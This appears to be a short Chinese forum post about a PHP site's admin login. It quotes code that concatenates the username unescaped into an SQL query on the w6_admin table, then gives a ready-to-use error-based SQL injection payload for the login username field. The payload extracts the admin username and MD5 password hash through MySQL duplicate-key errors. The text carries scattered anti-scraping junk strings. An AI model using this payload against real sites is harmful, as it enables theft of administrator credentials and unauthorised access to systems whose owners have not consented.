看代码。。

 
01……若干……
02if( !$postdb["userid"] || !$postdb["pwd"] )
03{
04 echo "<div align=\"center\" class=\"style1\">";
05 echo "您输入的用户名或密码有误！!!";
06 echo "</div>";
07 exit;
08}
09 
10$postdb["pwd"]=md5($postdb["pwd"]);
11 
12 
13        $query="SELECT * FROM `w6_admin` WHERE `userid` ='".$postdb["userid"]."'"; //你懂的
14 
15          $result=mysql_query($query) or die("Could not connect: " . mysql_error());
16         
17        $num = mysql_num_rows($result);
18         
19        if( $num == 0 )
20        {
21         echo "<div align=\"center\" class=\"style1\">";
22         echo "您输入的用户名或密码有误！!!";
23         echo "</div>";
24         exit;
25        }
26         
27        $_pwd        =  stripslashes(mysql_result($result,"0","pwd"));
28        $gptype        =  stripslashes(mysql_result($result,"0","gptype"));
29        $adminid        =  stripslashes(mysql_result($result,"0","id"));
30        ……若干……

test: - 低调求发展5 E% z1 ]' U9 X3 N2 D% D2 H0 x
TM截图未命名.png

下载 (33.01 KB)
2 小时前


! B3 U" i' h: u1 i/ B( c8 w) k
在后台登陆的用户名输入
6 I* |" @$ A! uSecurity' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,w6_admin.userid,0x27,0x7e,w6_admin.pwd) from w6_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'/*